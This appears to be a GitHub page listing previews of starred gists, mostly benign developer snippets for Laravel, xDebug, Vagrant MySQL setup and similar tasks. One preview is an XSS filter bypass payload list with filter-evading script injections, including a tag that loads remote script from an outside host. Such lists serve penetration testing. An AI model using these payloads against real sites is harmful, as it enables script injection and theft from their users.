Skip to content

Instantly share code, notes, and snippets.

View abenevaut's full-sized avatar
🤯
Boum Headshot! Boum Headshot! Boum Headshot!!!

Antoine B. abenevaut

🤯
Boum Headshot! Boum Headshot! Boum Headshot!!!
View GitHub Profile
@xirkus
xirkus / synology_self_signed_cert_howto.md
Last active September 1, 2024 21:31
Using the Synology NAS Certificates to Provision Private/Locally Scoped Self-signed SSL Certificates

It's possible to use a Synology Diskstation's Certificate generation functionality to create a set of privately scoped (non-FQDN) self-signed SSL certificates that you can use to provision internal network services so that connecting to them does not cause your browser to throw warning messages (or in the case of Chrome, prevent you from connecting at all).

Rationale

Usually, when you add network devices to your personal private network, they are refereneced by IP addresses as naming requires either maintaining individual host files on each machine or setting up DNS. The first is pretty cumbersome; the second seems like overkill (unless you're a masochist, which I have been in the past). As an alternative, I considered using locally scoped names associated with fixed IPs associated via a light-weight DNS resolver (in my case, using unbound running on my Raspberry Pi with Pi-Hole).

**WARNING: This is clearly a HACK and is not intended to be used for production environments. If you need full SSL certi

@jlmaners
jlmaners / MockSocialite.php
Last active January 1, 2024 21:15
Mocking Socialite
<?php
$mockSocialite = \Mockery::mock('Laravel\Socialite\Contracts\Factory');
$this->app['Laravel\Socialite\Contracts\Factory'] = $mockSocialite;
$abstractUser = Mockery::mock('Laravel\Socialite\Two\User');
$abstractUser
->shouldReceive('getId')
->andReturn(rand())
->shouldReceive('getName')
@ankurk91
ankurk91 / xdebug-mac.md
Last active March 9, 2024 22:20
php xDebug v3 on Ubuntu/Mac and phpStorm

🪲 Install and Configure xDebug v3 on MacOS for PhpStorm 🐘

  • Assuming that you have already installed php and apache via Homebrew

  • Install xDebug php extension

pecl channel-update pecl.php.net
pecl clear-cache

pecl install xdebug
@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active September 18, 2024 00:14
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@EmranAhmed
EmranAhmed / install_mysql.sh
Last active August 7, 2022 11:11 — forked from rrosiek/install_mysql.sh
vagrant mysql, phpmyadmin install
#! /usr/bin/env bash
# Variables
APPENV=local
DBHOST=localhost
DBNAME=dbname
DBUSER=dbuser
DBPASSWD=test123
echo -e "\n--- Mkay, installing now... ---\n"
@elena-kolevska
elena-kolevska / validators.php
Last active June 24, 2021 14:44
Custom alphabetic validator that allows spaces
<?php
/* app/validators.php */
Validator::extend('alpha_spaces', function($attribute, $value)
{
return preg_match('/^[\pL\s]+$/u', $value);
});
/*
@DominicImhof
DominicImhof / database.php
Created October 29, 2013 18:38
Connect Laravel 4 with Redis via UNIX domain sockets
<?php
return array(
'redis' => array(
'cluster' => true,
'default' => array(
'scheme' => 'unix',
'path' => '/tmp/redis.sock'
)
);
@freshlogic
freshlogic / app.js
Last active March 5, 2024 17:11
HACK: Azure doesn't support X-Forwarded-Proto so we add it manually
var express = require('express');
var app = express();
app.enable('trust proxy');
// HACK: Azure doesn't support X-Forwarded-Proto so we add it manually
app.use(function(req, res, next) {
if(req.headers['x-arr-ssl'] && !req.headers['x-forwarded-proto']) {
req.headers['x-forwarded-proto'] = 'https';
}
@zmsaunders
zmsaunders / filters.php
Last active August 7, 2022 10:54
HTML Output Minification in laravel 4
<?php
### --- Snip --- ###
App::after(function($request, $response)
{
// HTML Minification
if(App::Environment() != 'local')
{
if($response instanceof Illuminate\Http\Response)
@scottymac
scottymac / gist:1810536
Created February 12, 2012 20:01
Custom validators for jQuery Tools
// custom validators
// generic validator for required input fields to work with validator() & [placeholder]
$.tools.validator.fn("input[required]", "Please complete this mandatory field.", function(input, value) {
var pass;
if ((value == "") || (value == $(input).attr("placeholder"))) {
$(input).addClass("invalid");
pass = false;
} else {
$(input).removeClass("invalid");